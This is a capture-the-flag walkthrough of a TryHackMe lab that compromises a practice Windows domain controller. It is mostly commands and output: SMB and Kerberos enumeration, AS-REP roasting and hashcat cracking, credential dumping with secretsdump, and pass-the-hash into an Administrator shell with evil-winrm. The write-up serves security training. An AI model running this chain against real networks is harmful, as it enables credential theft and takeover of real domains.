Attacktive Directory CTF [Walkthrough] -THM
https://www.tryhackme.com/room/attacktivedirectory
This CTF is more “guided and less challenge based”. Its one of the more interesting Windows rooms I’ve tried on THM.
Table Of Contents
Enumeration
We start with NMAP scan.
# Nmap 7.60 scan initiated Fri Aug 6 12:08:59 2021 as: nmap -sC -sV -oN nmap.result 10.10.195.136 Nmap scan report for ip-10-10-195-136.eu-west-1.compute.internal (10.10.195.136) Host is up (0.00046s latency). Not shown: 987 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-08-06 11:10:23Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local | Not valid before: 2021-08-05T10:49:45 |_Not valid after: 2022-02-04T10:49:45 |_ssl-date: 2021-08-06T11:10:28+00:00; 0s from scanner time. MAC Address: 02:6F:F9:F4:7B:2F (Unknown) Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: ATTACKTIVEDIREC, NetBIOS user: <unknown>, NetBIOS MAC: 02:6f:f9:f4:7b:2f (unknown) | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2021-08-06 12:10:28 |_ start_date: 1600-12-31 23:58:45 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Aug 6 12:10:41 2021 -- 1 IP address (1 host up) scanned in 102.32 seconds
Many ports that are open. Using enum4linux to enunmerate port 139/445 (SMB).
WARNING: polenum.py is not in your path. Check that package is installed and your PATH is sane. WARNING: ldapsearch is not in your path. Check that package is installed and your PATH is sane. Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Aug 6 12:20:34 2021 ========================== | Target Information | ========================== Target ........... 10.10.195.136 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ===================================================== | Enumerating Workgroup/Domain on 10.10.195.136 | ===================================================== [+] Got domain/workgroup name: THM-AD ============================================= | Nbtstat Information for 10.10.195.136 | ============================================= Looking up status of 10.10.195.136 ATTACKTIVEDIREC <00> - B <ACTIVE> Workstation Service THM-AD <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name THM-AD <1c> - <GROUP> B <ACTIVE> Domain Controllers THM-AD <1b> - B <ACTIVE> Domain Master Browser ATTACKTIVEDIREC <20> - B <ACTIVE> File Server Service MAC Address = 02-6F-F9-F4-7B-2F ====================================== | Session Check on 10.10.195.136 | ====================================== [+] Server 10.10.195.136 allows sessions using username '', password '' ============================================ | Getting domain SID for 10.10.195.136 | ============================================ Domain Name: THM-AD Domain Sid: S-1-5-21-3591857110-2884097990-301047963 [+] Host is part of a domain (not a workgroup) ======================================= | OS information on 10.10.195.136 | ======================================= [+] Got OS info for 10.10.195.136 from smbclient: [+] Got OS info for 10.10.195.136 from srvinfo: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED ============================== | Users on 10.10.195.136 | ============================== [E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED [E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED ========================================== | Share Enumeration on 10.10.195.136 | ========================================== WARNING: The "syslog" option is deprecated smb1cli_req_writev_submit: called for dialect[SMB3_11] server[10.10.195.136] Sharename Type Comment --------- ---- ------- Error returning browse list: NT_STATUS_REVISION_MISMATCH Reconnecting with SMB1 for workgroup listing. Connection to 10.10.195.136 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Failed to connect with SMB1 -- no workgroup available [+] Attempting to map shares on 10.10.195.136 ===================================================== | Password Policy Information for 10.10.195.136 | ===================================================== [E] Dependent program "polenum.py" not present. Skipping this check. Download polenum from http://labs.portcullis.co.uk/application/polenum/ =============================== | Groups on 10.10.195.136 | =============================== [+] Getting builtin groups: [+] Getting builtin group memberships: [+] Getting local groups: [+] Getting local group memberships: [+] Getting domain groups: [+] Getting domain group memberships: ======================================================================== | Users on 10.10.195.136 via RID cycling (RIDS: 500-550,1000-1050) | ======================================================================== [I] Found new SID: S-1-5-21-3591857110-2884097990-301047963 [I] Found new SID: S-1-5-21-3532885019-1334016158-1514108833 [+] Enumerating users using SID S-1-5-21-3532885019-1334016158-1514108833 and logon username '', password '' S-1-5-21-3532885019-1334016158-1514108833-500 ATTACKTIVEDIREC\Administrator (Local User) S-1-5-21-3532885019-1334016158-1514108833-501 ATTACKTIVEDIREC\Guest (Local User) S-1-5-21-3532885019-1334016158-1514108833-502 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-503 ATTACKTIVEDIREC\DefaultAccount (Local User) S-1-5-21-3532885019-1334016158-1514108833-504 ATTACKTIVEDIREC\WDAGUtilityAccount (Local User) S-1-5-21-3532885019-1334016158-1514108833-505 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-506 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-507 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-508 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-509 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-510 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-511 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-512 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-513 ATTACKTIVEDIREC\None (Domain Group) S-1-5-21-3532885019-1334016158-1514108833-514 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-515 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-516 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-517 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-518 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-519 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-520 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-521 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-522 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-523 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-524 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-525 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-526 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-527 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-528 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-529 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-530 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-531 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-532 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-533 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-534 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-535 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-536 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-537 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-538 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-539 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-540 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-541 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-542 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-543 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-544 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-545 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-546 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-547 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-548 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-549 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-550 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1000 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1001 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1002 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1003 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1004 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1005 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1006 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1007 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1008 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1009 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1010 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1011 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1012 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1013 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1014 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1015 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1016 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1017 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1018 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1019 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1020 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1021 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1022 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1023 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1024 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1025 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1026 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1027 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1028 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1029 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1030 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1031 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1032 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1033 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1034 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1035 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1036 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1037 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1038 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1039 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1040 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1041 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1042 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1043 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1044 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1045 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1046 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1047 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1048 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1049 *unknown*\*unknown* (8) S-1-5-21-3532885019-1334016158-1514108833-1050 *unknown*\*unknown* (8) [+] Enumerating users using SID S-1-5-21-3591857110-2884097990-301047963 and logon username '', password '' S-1-5-21-3591857110-2884097990-301047963-500 THM-AD\Administrator (Local User) S-1-5-21-3591857110-2884097990-301047963-501 THM-AD\Guest (Local User) S-1-5-21-3591857110-2884097990-301047963-502 THM-AD\krbtgt (Local User) S-1-5-21-3591857110-2884097990-301047963-503 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-504 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-505 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-506 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-507 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-508 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-509 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-510 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-511 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-512 THM-AD\Domain Admins (Domain Group) S-1-5-21-3591857110-2884097990-301047963-513 THM-AD\Domain Users (Domain Group) S-1-5-21-3591857110-2884097990-301047963-514 THM-AD\Domain Guests (Domain Group) S-1-5-21-3591857110-2884097990-301047963-515 THM-AD\Domain Computers (Domain Group) S-1-5-21-3591857110-2884097990-301047963-516 THM-AD\Domain Controllers (Domain Group) S-1-5-21-3591857110-2884097990-301047963-517 THM-AD\Cert Publishers (Local Group) S-1-5-21-3591857110-2884097990-301047963-518 THM-AD\Schema Admins (Domain Group) S-1-5-21-3591857110-2884097990-301047963-519 THM-AD\Enterprise Admins (Domain Group) S-1-5-21-3591857110-2884097990-301047963-520 THM-AD\Group Policy Creator Owners (Domain Group) S-1-5-21-3591857110-2884097990-301047963-521 THM-AD\Read-only Domain Controllers (Domain Group) S-1-5-21-3591857110-2884097990-301047963-522 THM-AD\Cloneable Domain Controllers (Domain Group) S-1-5-21-3591857110-2884097990-301047963-523 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-524 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-525 THM-AD\Protected Users (Domain Group) S-1-5-21-3591857110-2884097990-301047963-526 THM-AD\Key Admins (Domain Group) S-1-5-21-3591857110-2884097990-301047963-527 THM-AD\Enterprise Key Admins (Domain Group) S-1-5-21-3591857110-2884097990-301047963-528 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-529 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-530 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-531 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-532 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-533 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-534 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-535 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-536 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-537 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-538 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-539 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-540 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-541 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-542 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-543 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-544 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-545 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-546 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-547 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-548 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-549 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-550 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1000 THM-AD\ATTACKTIVEDIREC$ (Local User) S-1-5-21-3591857110-2884097990-301047963-1001 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1002 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1003 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1004 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1005 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1006 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1007 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1008 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1009 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1010 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1011 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1012 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1013 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1014 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1015 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1016 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1017 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1018 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1019 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1020 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1021 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1022 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1023 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1024 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1025 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1026 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1027 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1028 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1029 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1030 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1031 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1032 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1033 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1034 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1035 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1036 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1037 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1038 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1039 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1040 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1041 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1042 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1043 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1044 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1045 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1046 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1047 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1048 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1049 *unknown*\*unknown* (8) S-1-5-21-3591857110-2884097990-301047963-1050 *unknown*\*unknown* (8) ============================================== | Getting printer info for 10.10.195.136 | ============================================== Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED enum4linux complete on Fri Aug 6 12:20:56 2021
Enumerating Users via Kerberos
We will enumerate usernames using Kerbrute. We are presented with a User List and a Password List (https://github.com/Sq00ky/attacktive-directory-tools). First we will add an entry in our hosts file so the domain points to the correct IP address.
root# echo 10.10.195.136 spookysec.local >> /etc/hosts
We will run the userenum command with Kerbrute and output the result to kerbrute.result
root# ./kerbrute userenum -d spookysec.local --dc spookysec.local userlist.txt -t 100 > /root/ctf/kerbrute.result
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.2 (fd5f345) - 08/06/21 - Ronnie Flathers @ropnop
2021/08/06 12:26:56 > Using KDC(s):
2021/08/06 12:26:56 > spookysec.local:88
2021/08/06 12:26:56 > [+] VALID USERNAME: james@spookysec.local
2021/08/06 12:26:56 > [+] VALID USERNAME: svc-admin@spookysec.local
2021/08/06 12:26:56 > [+] VALID USERNAME: James@spookysec.local
2021/08/06 12:26:57 > [+] VALID USERNAME: robin@spookysec.local
2021/08/06 12:26:58 > [+] VALID USERNAME: darkstar@spookysec.local
2021/08/06 12:26:58 > [+] VALID USERNAME: administrator@spookysec.local
2021/08/06 12:26:59 > [+] VALID USERNAME: backup@spookysec.local
2021/08/06 12:27:00 > [+] VALID USERNAME: paradox@spookysec.local
2021/08/06 12:27:04 > [+] VALID USERNAME: JAMES@spookysec.local
2021/08/06 12:27:05 > [+] VALID USERNAME: Robin@spookysec.local
2021/08/06 12:27:13 > [+] VALID USERNAME: Administrator@spookysec.local
2021/08/06 12:27:28 > [+] VALID USERNAME: Darkstar@spookysec.local
2021/08/06 12:27:33 > [+] VALID USERNAME: Paradox@spookysec.local
2021/08/06 12:27:50 > [+] VALID USERNAME: DARKSTAR@spookysec.local
2021/08/06 12:27:54 > [+] VALID USERNAME: ori@spookysec.local
2021/08/06 12:28:04 > [+] VALID USERNAME: ROBIN@spookysec.local
Abusing Kerberos
We’ll use Impacket’s “GetNPUsers.py that will allow us to query ASReproastable accounts from the key Distribution Center.
root#./GetNPUsers.py spookysec.local/svc-admin -no-pass > /root/ctf/TGT_for_svc-admin Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Getting TGT for svc-admin $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:47b77...
This is a Kerberos 5 AS-REQ etype 23 hash (Which you can find in the Hashcat example wiki page and the mode is 18200.
Using hashcat and the password list we’ve been provided we can crack the hash.
root# hashcat -a 0 -m 18200 TGT_for_svc-admin /root/ctf/attacktive-directory-tools/passwordlist.txt $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:47b77...:m...
Back to basic
Now that we have the password for svc-admin we will enumaret SMB using smbclient
root# smbclient -L //10.10.195.136 -U svc-admin WARNING: The "syslog" option is deprecated Enter WORKGROUP\svc-admin's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin backup Disk C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. Connection to 10.10.195.136 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Failed to connect with SMB1 -- no workgroup available
Continue enumerating the share called backup, we find a file hidden inside.
root@ip-10-10-254-94:~/ctf# smbclient //10.10.195.136/backup -U svc-admin WARNING: The "syslog" option is deprecated Enter WORKGROUP\svc-admin's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Apr 4 20:08:39 2020 .. D 0 Sat Apr 4 20:08:39 2020 backup_credentials.txt A 48 Sat Apr 4 20:08:53 2020 8247551 blocks of size 4096. 3624040 blocks available smb: \> get backup_credentials.txt
Decoding the content of the file we get the username and password for backup user.
Elevating Privileges within the Domain
Using Impacket’s secretdump.py will allow us to retrieve all of the password from the hashes that this user account has.
root@ip-10-10-254-94:/opt/impacket/examples# ./secretsdump.py backup@spookysec.local Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Password: [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:....................... [*] Cleaning up...
We will use a method called pass the hash that would allow us to authenticate as the user without the password.
We’ll use a tool called EvilWinRM with the option -H to pass the hash.
root@ip-10-10-254-94:~/ctf# evil-winrm -i 10.10.195.136 -u Administrator -H 0e036..... Evil-WinRM shell v2.4 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami thm-ad\administrator
And from here on out you can find the flags and submit them.
